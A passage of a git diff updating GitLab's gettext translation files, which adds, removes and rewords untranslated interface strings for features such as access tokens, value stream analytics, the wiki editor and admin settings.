-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/br_FR/gitlab.po b/locale/br_FR/gitlab.po
index 1ab521ac13f..42f43e44ed6 100644
--- a/locale/br_FR/gitlab.po
+++ b/locale/br_FR/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: br-FR\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:27\n"
+"PO-Revision-Date: 2021-07-01 21:10\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -95,6 +92,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -378,14 +378,6 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -610,6 +602,33 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -659,6 +678,14 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -855,10 +882,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -1034,6 +1061,9 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -1067,9 +1097,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1194,12 +1221,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1230,6 +1251,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1795,9 +1819,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1858,18 +1879,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -2074,13 +2086,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -2098,16 +2110,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -2227,6 +2239,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -2236,6 +2251,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -2299,6 +2317,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2425,6 +2446,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2659,9 +2683,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2674,19 +2695,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2698,7 +2722,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2707,10 +2731,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -3121,9 +3142,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
